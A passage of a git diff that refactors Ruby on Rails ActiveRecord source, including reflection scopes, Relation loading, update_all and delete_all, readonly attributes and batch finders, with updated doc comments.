+++ b/activerecord/lib/active_record/railties/jdbcmysql_error.rb
@@ -1,6 +1,6 @@
 #FIXME Remove if ArJdbcMysql will give.
-module ArJdbcMySQL
-  class Error < StandardError
+module ArJdbcMySQL #:nodoc:
+  class Error < StandardError #:nodoc:
     attr_accessor :error_number, :sql_state
 
     def initialize msg
diff --git a/activerecord/lib/active_record/readonly_attributes.rb b/activerecord/lib/active_record/readonly_attributes.rb
new file mode 100644
index 0000000000..b3c20c4aff
--- /dev/null
+++ b/activerecord/lib/active_record/readonly_attributes.rb
@@ -0,0 +1,29 @@
+
+module ActiveRecord
+  module ReadonlyAttributes
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_attr_readonly, instance_accessor: false
+      self._attr_readonly = []
+    end
+
+    module ClassMethods
+      # Attributes listed as readonly will be used to create a new record but update operations will
+      # ignore these fields.
+      def attr_readonly(*attributes)
+        self._attr_readonly = Set.new(attributes.map { |a| a.to_s }) + (self._attr_readonly || [])
+      end
+
+      # Returns an array of all the attributes that have been specified as readonly.
+      def readonly_attributes
+        self._attr_readonly
+      end
+    end
+
+    def _attr_readonly
+      ActiveSupport::Deprecation.warn("Instance level _attr_readonly method is deprecated, please use class level method.")
+      defined?(@_attr_readonly) ? @_attr_readonly : self.class._attr_readonly
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index 52968070cb..cf949a893f 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/object/inclusion'
 
 module ActiveRecord
   # = Active Record Reflection
@@ -20,13 +18,13 @@ module ActiveRecord
     # MacroReflection class has info for AggregateReflection and AssociationReflection
     # classes.
     module ClassMethods
-      def create_reflection(macro, name, options, active_record)
+      def create_reflection(macro, name, scope, options, active_record)
         case macro
-          when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
-            klass = options[:through] ? ThroughReflection : AssociationReflection
-            reflection = klass.new(macro, name, options, active_record)
-          when :composed_of
-            reflection = AggregateReflection.new(macro, name, options, active_record)
+        when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
+          klass = options[:through] ? ThroughReflection : AssociationReflection
+          reflection = klass.new(macro, name, scope, options, active_record)
+        when :composed_of
+          reflection = AggregateReflection.new(macro, name, scope, options, active_record)
         end
 
         self.reflections = self.reflections.merge(name => reflection)
@@ -43,7 +41,8 @@ module ActiveRecord
       #   Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
       #
       def reflect_on_aggregation(aggregation)
-        reflections[aggregation].is_a?(AggregateReflection) ? reflections[aggregation] : nil
+        reflection = reflections[aggregation]
+        reflection if reflection.is_a?(AggregateReflection)
       end
 
       # Returns an array of AssociationReflection objects for all the
@@ -67,7 +66,8 @@ module ActiveRecord
       #   Invoice.reflect_on_association(:line_items).macro  # returns :has_many
       #
       def reflect_on_association(association)
-        reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil
+        reflection = reflections[association]
+        reflection if reflection.is_a?(AssociationReflection)
       end
 
       # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
@@ -76,7 +76,6 @@ module ActiveRecord
       end
     end
 
-
     # Abstract base class for AggregateReflection and AssociationReflection. Objects of
     # AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods.
     class MacroReflection
@@ -92,6 +91,8 @@ module ActiveRecord
       # <tt>has_many :clients</tt> returns <tt>:has_many</tt>
       attr_reader :macro
 
+      attr_reader :scope
+
       # Returns the hash of options used for the macro.
       #
       # <tt>composed_of :balance, :class_name => 'Money'</tt> returns <tt>{ :class_name => "Money" }</tt>
@@ -102,9 +103,10 @@ module ActiveRecord
 
       attr_reader :plural_name # :nodoc:
 
-      def initialize(macro, name, options, active_record)
+      def initialize(macro, name, scope, options, active_record)
         @macro         = macro
         @name          = name
+        @scope         = scope
         @options       = options
         @active_record = active_record
         @plural_name   = active_record.pluralize_table_names ?
@@ -137,10 +139,6 @@ module ActiveRecord
           active_record == other_aggregation.active_record
       end
 
-      def sanitized_conditions #:nodoc:
-        @sanitized_conditions ||= klass.send(:sanitize_sql, options[:conditions]) if options[:conditions]
-      end
-
       private
         def derive_class_name
           name.to_s.camelize
@@ -151,6 +149,10 @@ module ActiveRecord
     # Holds all the meta-data about an aggregation as it was specified in the
     # Active Record class.
     class AggregateReflection < MacroReflection #:nodoc:
+      def mapping
+        mapping = options[:mapping] || [name, name]
+        mapping.first.is_a?(Array) ? mapping : [mapping]
+      end
     end
 
     # Holds all the meta-data about an association as it was specified in the
@@ -172,9 +174,9 @@ module ActiveRecord
         @klass ||= active_record.send(:compute_type, class_name)
       end
 
-      def initialize(macro, name, options, active_record)
+      def initialize(*args)
         super
-        @collection = macro.in?([:has_many, :has_and_belongs_to_many])
+        @collection = [:has_many, :has_and_belongs_to_many].include?(macro)
       end
 
       # Returns a new, unsaved instance of the associated class. +options+ will
@@ -191,6 +193,10 @@ module ActiveRecord
         @quoted_table_name ||= klass.quoted_table_name
       end
 
+      def join_table
+        @join_table ||= options[:join_table] || derive_join_table
+      end
+
       def foreign_key
         @foreign_key ||= options[:foreign_key] || derive_foreign_key
       end
@@ -228,8 +234,8 @@ module ActiveRecord
         end
       end
 
-      def columns(tbl_name, log_msg)
-        @columns ||= klass.connection.columns(tbl_name, log_msg)
+      def columns(tbl_name)
+        @columns ||= klass.connection.columns(tbl_name)
       end
 
       def reset_column_information
@@ -238,6 +244,10 @@ module ActiveRecord
 
       def check_validity!
         check_validity_of_inverse!
+
+        if has_and_belongs_to_many? && association_foreign_key == foreign_key
+          raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(self)
+        end
       end
 
       def check_validity_of_inverse!
@@ -262,11 +272,14 @@ module ActiveRecord
         [self]
       end
 
-      # An array of arrays of conditions. Each item in the outside array corresponds to a reflection
-      # in the #chain. The inside arrays are simply conditions (and each condition may itself be
-      # a hash, array, arel predicate, etc...)
-      def conditions
-        [[options[:conditions]].compact]
+      def nested?
+        false
+      end
+
+      # An array of arrays of scopes. Each item in the outside array corresponds to a reflection
+      # in the #chain.
+      def scope_chain
+        scope ? [[scope]] : [[]]
       end
 
       alias :source_macro :macro
@@ -316,6 +329,10 @@ module ActiveRecord
         macro == :belongs_to
       end
 
+      def has_and_belongs_to_many?
+        macro == :has_and_belongs_to_many
+      end
+
       def association_class
         case macro
         when :belongs_to
@@ -358,6 +375,10 @@ module ActiveRecord
           end
         end
 
+        def derive_join_table
+          [active_record.table_name, klass.table_name].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').gsub("\0", "_")
+        end
+
         def primary_key(klass)
           klass.primary_key || raise(UnknownPrimaryKey.new(klass))
         end
@@ -426,29 +447,25 @@ module ActiveRecord
       #     has_many :tags
       #   end
       #
-      # There may be conditions on Person.comment_tags, Article.comment_tags and/or Comment.tags,
+      # There may be scopes on Person.comment_tags, Article.comment_tags and/or Comment.tags,
       # but only Comment.tags will be represented in the #chain. So this method creates an array
-      # of conditions corresponding to the chain. Each item in the #conditions array corresponds
-      # to an item in the #chain, and is itself an array of conditions from an arbitrary number
-      # of relevant reflections, plus any :source_type or polymorphic :as constraints.
-      def conditions
-        @conditions ||= begin
-          conditions = source_reflection.conditions.map { |c| c.dup }
+      # of scopes corresponding to the chain.
+      def scope_chain
+        @scope_chain ||= begin
+          scope_chain = source_reflection.scope_chain.map(&:dup)
 
-          # Add to it the conditions from this reflection if necessary.
-          conditions.first << options[:conditions] if options[:conditions]
+          # Add to it the scope from this reflection (if any)
+          scope_chain.first << scope if scope
 
-          through_conditions = through_reflection.conditions
+          through_scope_chain = through_reflection.scope_chain
 
           if options[:source_type]
-            through_conditions.first << { foreign_type => options[:source_type] }
+            through_scope_chain.first <<
+              through_reflection.klass.where(foreign_type => options[:source_type])
           end
 
           # Recursively fill out the rest of the array from the through reflection
-          conditions += through_conditions
-
-          # And return
-          conditions
+          scope_chain + through_scope_chain
         end
       end
 
@@ -457,7 +474,7 @@ module ActiveRecord
         source_reflection.source_macro
       end
 
-      # A through association is nested iff there would be more than one join table
+      # A through association is nested if there would be more than one join table
       def nested?
         chain.length > 2 || through_reflection.macro == :has_and_belongs_to_many
       end
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index f0891440a6..1abbc58314 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -1,36 +1,33 @@
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/module/delegation'
+# -*- coding: utf-8 -*-
 
 module ActiveRecord
   # = Active Record Relation
   class Relation
     JoinOperation = Struct.new(:relation, :join_class, :on)
-    ASSOCIATION_METHODS = [:includes, :eager_load, :preload]
-    MULTI_VALUE_METHODS = [:select, :group, :order, :joins, :where, :having, :bind]
-    SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reorder, :reverse_order, :uniq]
 
-    include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches
+    MULTI_VALUE_METHODS  = [:includes, :eager_load, :preload, :select, :group,
+                            :order, :joins, :where, :having, :bind, :references,
+                            :extending]
 
-    # These are explicitly delegated to improve performance (avoids method_missing)
-    delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to => :to_a
-    delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key, :connection, :column_hash,:to => :klass
+    SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reordering,
+                            :reverse_order, :uniq, :create_with]
+
+    VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS
+
+    include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
 
     attr_reader :table, :klass, :loaded
-    attr_accessor :extensions, :default_scoped
+    attr_accessor :default_scoped
     alias :loaded? :loaded
     alias :default_scoped? :default_scoped
 
-    def initialize(klass, table)
-      @klass, @table = klass, table
-
+    def initialize(klass, table, values = {})
+      @klass             = klass
+      @table             = table
+      @values            = values
       @implicit_readonly = nil
       @loaded            = false
       @default_scoped    = false
-
-      SINGLE_VALUE_METHODS.each {|v| instance_variable_set(:"@#{v}_value", nil)}
-      (ASSOCIATION_METHODS + MULTI_VALUE_METHODS).each {|v| instance_variable_set(:"@#{v}_values", [])}
-      @extensions = []
-      @create_with_value = {}
     end
 
     def insert(values)
@@ -76,27 +73,62 @@ module ActiveRecord
         binds)
     end
 
+    # Initializes new record from relation while maintaining the current
+    # scope.
+    #
+    # Expects arguments in the same format as +Base.new+.
+    #
+    #   users = User.where(name: 'DHH')
+    #   user = users.new # => #<User id: nil, name: "DHH", created_at: nil, updated_at: nil>
+    #
+    # You can also pass a block to new with the new record as argument:
+    #
+    #   user = users.new { |user| user.name = 'Oscar' }
+    #   user.name # => Oscar
     def new(*args, &block)
       scoping { @klass.new(*args, &block) }
     end
 
     def initialize_copy(other)
+      @values        = @values.dup
+      @values[:bind] = @values[:bind].dup if @values[:bind]
       reset
     end
 
     alias build new
 
+    # Tries to create a new record with the same scoped attributes
+    # defined in the relation. Returns the initialized object if validation fails.
+    #
+    # Expects arguments in the same format as +Base.create+.
+    #
+    # ==== Examples
+    #   users = User.where(name: 'Oscar')
+    #   users.create # #<User id: 3, name: "oscar", ...>
+    #
+    #   users.create(name: 'fxn')
+    #   users.create # #<User id: 4, name: "fxn", ...>
+    #
+    #   users.create { |user| user.name = 'tenderlove' }
+    #   # #<User id: 5, name: "tenderlove", ...>
+    #
+    #   users.create(name: nil) # validation on name
+    #   # #<User id: nil, name: nil, ...>
     def create(*args, &block)
       scoping { @klass.create(*args, &block) }
     end
 
+    # Similar to #create, but calls +create!+ on the base class. Raises
+    # an exception if a validation error occurs.
+    #
+    # Expects arguments in the same format as <tt>Base.create!</tt>.
     def create!(*args, &block)
       scoping { @klass.create!(*args, &block) }
     end
 
     # Tries to load the first record; if it fails, then <tt>create</tt> is called with the same arguments as this method.
     #
-    # Expects arguments in the same format as <tt>Base.create</tt>.
+    # Expects arguments in the same format as +Base.create+.
     #
     # ==== Examples
     #   # Find the first user named Penélope or create a new one.
@@ -136,58 +168,23 @@ module ActiveRecord
       first || new(attributes, options, &block)
     end
 
-    def respond_to?(method, include_private = false)
-      arel.respond_to?(method, include_private)     ||
-        Array.method_defined?(method)               ||
-        @klass.respond_to?(method, include_private) ||
-        super
-    end
-
+    # Runs EXPLAIN on the query or queries triggered by this relation and
+    # returns the result as a string. The string is formatted imitating the
+    # ones printed by the database shell.
+    #
+    # Note that this method actually runs the queries, since the results of some
+    # are needed by the next ones when eager loading is going on.
+    #
+    # Please see further details in the
+    # {Active Record Query Interface guide}[http://guides.rubyonrails.org/active_record_querying.html#running-explain].
     def explain
-      queries = []
-      callback = lambda do |*args|
-        payload = args.last
-        queries << payload[:sql] unless payload[:exception] || %w(SCHEMA EXPLAIN).include?(payload[:name])
-      end
-
-      ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
-        to_a
-      end
-
-      queries.map do |sql|
-        @klass.connection.explain(sql)
-      end.join
+      _, queries = collecting_queries_for_explain { exec_queries }
+      exec_explain(queries)
     end
 
+    # Converts relation objects to Array.
     def to_a
-      return @records if loaded?
-
-      default_scoped = with_default_scope
-
-      if default_scoped.equal?(self)
-        @records = if @readonly_value.nil? && !@klass.locking_enabled?
-          eager_loading? ? find_with_associations : @klass.find_by_sql(arel, @bind_values)
-        else
-          IdentityMap.without do
-            eager_loading? ? find_with_associations : @klass.find_by_sql(arel, @bind_values)
-          end
-        end
-
-        preload = @preload_values
-        preload +=  @includes_values unless eager_loading?
-        preload.each do |associations|
-          ActiveRecord::Associations::Preloader.new(@records, associations).run
-        end
-
-        # @readonly_value is true only if set explicitly. @implicit_readonly is true if there
-        # are JOINS and no explicit SELECT.
-        readonly = @readonly_value.nil? ? @implicit_readonly : @readonly_value
-        @records.each { |record| record.readonly! } if readonly
-      else
-        @records = default_scoped.to_a
-      end
-
-      @loaded = true
+      load
       @records
     end
 
@@ -208,6 +205,7 @@ module ActiveRecord
       c.respond_to?(:zero?) ? c.zero? : c.empty?
     end
 
+    # Returns true if there are any records.
     def any?
       if block_given?
         to_a.any? { |*block_args| yield(*block_args) }
@@ -216,18 +214,17 @@ module ActiveRecord
       end
     end
 
+    # Returns true if there is more than one record.
     def many?
       if block_given?
         to_a.many? { |*block_args| yield(*block_args) }
       else
-        @limit_value ? to_a.many? : size > 1
+        limit_value ? to_a.many? : size > 1
       end
     end
 
     # Scope all queries to the current scope.
     #
-    # ==== Example
-    #
     #   Comment.where(:post_id => 1).scoping do
     #     Comment.first # SELECT * FROM comments WHERE post_id = 1
     #   end
@@ -235,7 +232,10 @@ module ActiveRecord
     # Please check unscoped if you want to remove all previous scopes (including
     # the default_scope) during the execution of a block.
     def scoping
-      @klass.send(:with_scope, self, :overwrite) { yield }
+      previous, klass.current_scope = klass.current_scope, self
+      yield
+    ensure
+      klass.current_scope = previous
     end
 
     # Updates all records with details given if they match a set of conditions supplied, limits and order can
@@ -246,50 +246,35 @@ module ActiveRecord
     # ==== Parameters
     #
     # * +updates+ - A string, array, or hash representing the SET part of an SQL statement.
-    # * +conditions+ - A string, array, or hash representing the WHERE part of an SQL statement.
-    #   See conditions in the intro.
-    # * +options+ - Additional options are <tt>:limit</tt> and <tt>:order</tt>, see the examples for usage.
     #
     # ==== Examples
     #
     #   # Update all customers with the given attributes
-    #   Customer.update_all :wants_email => true
+    #   Customer.update_all wants_email: true
     #
     #   # Update all books with 'Rails' in their title
-    #   Book.update_all "author = 'David'", "title LIKE '%Rails%'"
-    #
-    #   # Update all avatars migrated more than a week ago
-    #   Avatar.update_all ['migrated_at = ?', Time.now.utc], ['migrated_at > ?', 1.week.ago]
+    #   Book.where('title LIKE ?', '%Rails%').update_all(author: 'David')
     #
     #   # Update all books that match conditions, but limit it to 5 ordered by date
-    #   Book.update_all "author = 'David'", "title LIKE '%Rails%'", :order => 'created_at', :limit => 5
-    #
-    #   # Conditions from the current relation also works
-    #   Book.where('title LIKE ?', '%Rails%').update_all(:author => 'David')
-    #
-    #   # The same idea applies to limit and order
     #   Book.where('title LIKE ?', '%Rails%').order(:created_at).limit(5).update_all(:author => 'David')
-    def update_all(updates, conditions = nil, options = {})
-      IdentityMap.repository[symbolized_base_class].clear if IdentityMap.enabled?
-      if conditions || options.present?
-        where(conditions).apply_finder_options(options.slice(:limit, :order)).update_all(updates)
-      else
-        stmt = Arel::UpdateManager.new(arel.engine)
+    def update_all(updates)
+      raise ArgumentError, "Empty list of attributes to change" if updates.blank?
 
-        stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))
-        stmt.table(table)
-        stmt.key = table[primary_key]
+      stmt = Arel::UpdateManager.new(arel.engine)
 
-        if joins_values.any?
-          @klass.connection.join_to_update(stmt, arel)
-        else
-          stmt.take(arel.limit)
-          stmt.order(*arel.orders)
-          stmt.wheres = arel.constraints
-        end
+      stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))
+      stmt.table(table)
+      stmt.key = table[primary_key]
 
-        @klass.connection.update stmt, 'SQL', bind_values
+      if joins_values.any?
+        @klass.connection.join_to_update(stmt, arel)
+      else
+        stmt.take(arel.limit)
+        stmt.order(*arel.orders)
+        stmt.wheres = arel.constraints
       end
+
+      @klass.connection.update stmt, 'SQL', bind_values
     end
 
     # Updates an object (or multiple objects) and saves it to the database, if validations pass.
@@ -303,14 +288,14 @@ module ActiveRecord
     # ==== Examples
     #
     #   # Updates one record
-    #   Person.update(15, :user_name => 'Samuel', :group => 'expert')
+    #   Person.update(15, user_name: 'Samuel', group: 'expert')
     #
     #   # Updates multiple records
     #   people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
     #   Person.update(people.keys, people.values)
     def update(id, attributes)
       if id.is_a?(Array)
-        id.each.with_index.map {|one_id, idx| update(one_id, attributes[idx])}
+        id.map.with_index { |one_id, idx| update(one_id, attributes[idx]) }
       else
         object = find(id)
         object.update_attributes(attributes)
@@ -343,7 +328,7 @@ module ActiveRecord
     # ==== Examples
     #
     #   Person.destroy_all("last_login < '2004-04-04'")
-    #   Person.destroy_all(:status => "inactive")
+    #   Person.destroy_all(status: "inactive")
     #   Person.where(:age => 0..18).destroy_all
     def destroy_all(conditions = nil)
       if conditions
@@ -353,7 +338,7 @@ module ActiveRecord
       end
     end
 
-    # Destroy an object (or multiple objects) that has the given id, the object is instantiated first,
+    # Destroy an object (or multiple objects) that has the given id. The object is instantiated first,
     # therefore all callbacks and filters are fired off before the object is deleted. This method is
     # less efficient than ActiveRecord#delete but allows cleanup methods and other actions to be run.
     #
@@ -380,17 +365,12 @@ module ActiveRecord
       end
     end
 
-    # Deletes the records matching +conditions+ without instantiating the records first, and hence not
-    # calling the +destroy+ method nor invoking callbacks. This is a single SQL DELETE statement that
-    # goes straight to the database, much more efficient than +destroy_all+. Be careful with relations
-    # though, in particular <tt>:dependent</tt> rules defined on associations are not honored. Returns
-    # the number of rows affected.
-    #
-    # ==== Parameters
-    #
-    # * +conditions+ - Conditions are specified the same way as with +find+ method.
-    #
-    # ==== Example
+    # Deletes the records matching +conditions+ without instantiating the records
+    # first, and hence not calling the +destroy+ method nor invoking callbacks. This
+    # is a single SQL DELETE statement that goes straight to the database, much more
+    # efficient than +destroy_all+. Be careful with relations though, in particular
+    # <tt>:dependent</tt> rules defined on associations are not honored. Returns the
+    # number of rows affected.
     #
     #   Post.delete_all("person_id = 5 AND (category = 'Something' OR category = 'Else')")
     #   Post.delete_all(["person_id = ? AND (category = ? OR category = ?)", 5, 'Something', 'Else'])
@@ -399,13 +379,27 @@ module ActiveRecord
     # Both calls delete the affected posts all at once with a single DELETE statement.
     # If you need to destroy dependent associations or call your <tt>before_*</tt> or
     # +after_destroy+ callbacks, use the +destroy_all+ method instead.
+    #
+    # If a limit scope is supplied, +delete_all+ raises an ActiveRecord error:
+    #
+    #   Post.limit(100).delete_all
+    #   # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit scope
     def delete_all(conditions = nil)
-      IdentityMap.repository[symbolized_base_class] = {} if IdentityMap.enabled?
+      raise ActiveRecordError.new("delete_all doesn't support limit scope") if self.limit_value
+
       if conditions
         where(conditions).delete_all
       else
-        statement = arel.compile_delete
-        affected = @klass.connection.delete(statement, 'SQL', bind_values)
+        stmt = Arel::DeleteManager.new(arel.engine)
+        stmt.from(table)
+
+        if joins_values.any?
+          @klass.connection.join_to_delete(stmt, arel, table[primary_key])
+        else
+          stmt.wheres = arel.constraints
+        end
+
+        affected = @klass.connection.delete(stmt, 'SQL', bind_values)
 
         reset
         affected
@@ -433,14 +427,35 @@ module ActiveRecord
     #   # Delete multiple rows
     #   Todo.delete([2,3,4])
     def delete(id_or_array)
-      IdentityMap.remove_by_id(self.symbolized_base_class, id_or_array) if IdentityMap.enabled?
       where(primary_key => id_or_array).delete_all
     end
 
+    # Causes the records to be loaded from the database if they have not
+    # been loaded already. You can use this if for some reason you need
+    # to explicitly load some records before actually using them. The
+    # return value is the relation itself, not the records.
+    #
+    #   Post.where(published: true).load # => #<ActiveRecord::Relation>
+    def load
+      unless loaded?
+        # We monitor here the entire execution rather than individual SELECTs
+        # because from the point of view of the user fetching the records of a
+        # relation is a single unit of work. You want to know if this call takes
+        # too long, not if the individual queries take too long.
+        #
+        # It could be the case that none of the queries involved surpass the
+        # threshold, and at the same time the sum of them all does. The user
+        # should get a query plan logged in that case.
+        logging_query_plan { exec_queries }
+      end
+
+      self
+    end
+
+    # Forces reloading of relation.
     def reload
       reset
-      to_a # force reload
-      self
+      load
     end
 
     def reset
@@ -450,26 +465,40 @@ module ActiveRecord
       self
     end
 
+    # Returns sql statement for the relation.
+    #
+    #   Users.where(name: 'Oscar').to_sql
+    #   # => SELECT "users".* FROM "users"  WHERE "users"."name" = 'Oscar'
     def to_sql
-      @to_sql ||= klass.connection.to_sql(arel)
+      @to_sql ||= klass.connection.to_sql(arel, bind_values.dup)
     end
 
+    # Returns a hash of where conditions
+    #
+    #   Users.where(name: 'Oscar').where_values_hash
+    #   # => {:name=>"oscar"}
     def where_values_hash
       equalities = with_default_scope.where_values.grep(Arel::Nodes::Equality).find_all { |node|
         node.left.relation.name == table_name
       }
 
-      Hash[equalities.map { |where| [where.left.name, where.right] }]
+      binds = Hash[bind_values.find_all(&:first).map { |column, v| [column.name, v] }]
+
+      Hash[equalities.map { |where|
+        name = where.left.name
+        [name, binds.fetch(name.to_s) { where.right }]
+      }]
     end
 
     def scope_for_create
       @scope_for_create ||= where_values_hash.merge(create_with_value)
     end
 
+    # Returns true if relation needs eager loading.
     def eager_loading?
       @should_eager_load ||=
-        @eager_load_values.any? ||
-        @includes_values.any? && (joined_includes_values.any? || references_eager_loaded_tables?)
+        eager_load_values.any? ||
+        includes_values.any? && (joined_includes_values.any? || references_eager_loaded_tables?)
     end
 
     # Joins that are also marked for preloading. In which case we should just eager load them.
@@ -477,9 +506,10 @@ module ActiveRecord
     # represent the same association, but that aren't matched by this. Also, we could have
     # nested hashes which partially match, e.g. { :a => :b } & { :a => [:b, :c] }
     def joined_includes_values
-      @includes_values & @joins_values
+      includes_values & joins_values
     end
 
+    # Compares two relations for equality.
     def ==(other)
       case other
       when Relation
@@ -489,8 +519,8 @@ module ActiveRecord
       end
     end
 
-    def inspect
-      to_a.inspect
+    def pretty_print(q)
+      q.pp(self.to_a)
     end
 
     def with_default_scope #:nodoc:
@@ -503,22 +533,48 @@ module ActiveRecord
       end
     end
 
-    protected
+    # Returns true if relation is blank.
+    def blank?
+      to_a.blank?
+    end
 
-    def method_missing(method, *args, &block)
-      if Array.method_defined?(method)
-        to_a.send(method, *args, &block)
-      elsif @klass.respond_to?(method)
-        scoping { @klass.send(method, *args, &block) }
-      elsif arel.respond_to?(method)
-        arel.send(method, *args, &block)
-      else
-        super
-      end
+    def values
+      @values.dup
+    end
+
+    def inspect
+      entries = to_a.take([limit_value, 11].compact.min).map!(&:inspect)
+      entries[10] = '...' if entries.size == 11
+
+      "#<#{self.class.name} [#{entries.join(', ')}]>"
     end
 
     private
 
+    def exec_queries
+      default_scoped = with_default_scope
+
+      if default_scoped.equal?(self)
+        @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bind_values)
+
+        preload = preload_values
+        preload +=  includes_values unless eager_loading?
+        preload.each do |associations|
+          ActiveRecord::Associations::Preloader.new(@records, associations).run
+        end
+
+        # @readonly_value is true only if set explicitly. @implicit_readonly is true if there
+        # are JOINS and no explicit SELECT.
+        readonly = readonly_value.nil? ? @implicit_readonly : readonly_value
+        @records.each { |record| record.readonly! } if readonly
+      else
+        @records = default_scoped.to_a
+      end
+
+      @loaded = true
+      @records
+    end
+
     def references_eager_loaded_tables?
       joined_tables = arel.join_sources.map do |join|
         if join.is_a?(Arel::Nodes::StringJoin)
@@ -532,8 +588,30 @@ module ActiveRecord
 
       # always convert table names to downcase as in Oracle quoted table names are in uppercase
       joined_tables = joined_tables.flatten.compact.map { |t| t.downcase }.uniq
-
-      (tables_in_string(to_sql) - joined_tables).any?
+      string_tables = tables_in_string(to_sql)
+
+      if (references_values - joined_tables).any?
+        true
+      elsif (string_tables - joined_tables).any?
+        ActiveSupport::Deprecation.warn(
+          "It looks like you are eager loading table(s) (one of: #{string_tables.join(', ')}) " \
+          "that are referenced in a string SQL snippet. For example: \n" \
+          "\n" \
+          "    Post.includes(:comments).where(\"comments.title = 'foo'\")\n" \
+          "\n" \
+          "Currently, Active Record recognises the table in the string, and knows to JOIN the " \
+          "comments table to the query, rather than loading comments in a separate query. " \
+          "However, doing this without writing a full-blown SQL parser is inherently flawed. " \
+          "Since we don't want to write an SQL parser, we are removing this functionality. " \
+          "From now on, you must explicitly tell Active Record when you are referencing a table " \
+          "from a string:\n" \
+          "\n" \
+          "    Post.includes(:comments).where(\"comments.title = 'foo'\").references(:comments)\n\n"
+        )
+        true
+      else
+        false
+      end
     end
 
     def tables_in_string(string)
@@ -542,6 +620,5 @@ module ActiveRecord
       # ignore raw_sql_ that is used by Oracle adapter as alias for limit/offset subqueries
       string.scan(/([a-zA-Z_][.\w]+).?\./).flatten.map{ |s| s.downcase }.uniq - ['raw_sql_']
     end
-
   end
 end
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
index 2fd89882ff..4d14506965 100644
--- a/activerecord/lib/active_record/relation/batches.rb
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -1,21 +1,26 @@
-require 'active_support/core_ext/object/blank'
 
 module ActiveRecord
   module Batches
-    # Yields each record that was found by the find +options+. The find is
-    # performed by find_in_batches with a batch size of 1000 (or as
-    # specified by the <tt>:batch_size</tt> option).
+    # Looping through a collection of records from the database
+    # (using the +all+ method, for example) is very inefficient
+    # since it will try to instantiate all the objects at once.
     #
-    # Example:
+    # In that case, batch processing methods allow you to work
+    # with the records in batches, thereby greatly reducing memory consumption.
+    #
+    # The #find_each method uses #find_in_batches with a batch size of 1000 (or as
+    # specified by the +:batch_size+ option).
+    #
+    #   Person.all.find_each do |person|
+    #     person.do_awesome_stuff
+    #   end
     #
     #   Person.where("age > 21").find_each do |person|
     #     person.party_all_night!
     #   end
     #
-    # Note: This method is only intended to use for batch processing of
-    # large amounts of records that wouldn't fit in memory all at once. If
-    # you just need to loop over less than 1000 records, it's probably
-    # better just to use the regular find methods.
+    #  You can also pass the +:start+ option to specify
+    #  an offset to control the starting point.
     def find_each(options = {})
       find_in_batches(options) do |records|
         records.each { |record| yield record }
@@ -23,14 +28,14 @@ module ActiveRecord
     end
 
     # Yields each batch of records that was found by the find +options+ as
-    # an array. The size of each batch is set by the <tt>:batch_size</tt>
+    # an array. The size of each batch is set by the +:batch_size+
     # option; the default is 1000.
     #
     # You can control the starting point for the batch processing by
-    # supplying the <tt>:start</tt> option. This is especially useful if you
+    # supplying the +:start+ option. This is especially useful if you
     # want multiple workers dealing with the same processing queue. You can
     # make worker 1 handle all the records between id 0 and 10,000 and
-    # worker 2 handle from 10,000 and beyond (by setting the <tt>:start</tt>
+    # worker 2 handle from 10,000 and beyond (by setting the +:start+
     # option on that worker).
     #
     # It's not possible to set the order. That is automatically set to
@@ -39,31 +44,29 @@ module ActiveRecord
     # primary keys. You can't set the limit either, that's used to control
     # the batch sizes.
     #
-    # Example:
-    #
     #   Person.where("age > 21").find_in_batches do |group|
     #     sleep(50) # Make sure it doesn't get too crowded in there!
     #     group.each { |person| person.party_all_night! }
     #   end
+    #
+    #   # Let's process the next 2000 records
+    #   Person.all.find_in_batches(start: 2000, batch_size: 2000) do |group|
+    #     group.each { |person| person.party_all_night! }
+    #   end
     def find_in_batches(options = {})
+      options.assert_valid_keys(:start, :batch_size)
+
       relation = self
 
       unless arel.orders.blank? && arel.taken.blank?
         ActiveRecord::Base.logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
       end
 
-      if (finder_options = options.except(:start, :batch_size)).present?
-        raise "You can't specify an order, it's forced to be #{batch_order}" if options[:order].present?
-        raise "You can't specify a limit, it's forced to be the batch_size"  if options[:limit].present?
-
-        relation = apply_finder_options(finder_options)
-      end
-
       start = options.delete(:start).to_i
       batch_size = options.delete(:batch_size) || 1000
 
       relation = relation.reorder(batch_order).limit(batch_size)
-      records = relation.where(table[primary_key].gteq(start)).all
+      records = relation.where(table[primary_key].gteq(start)).to_a
 
       while records.any?
         records_size = records.size
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index af86771d2d..d93e7c8997 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
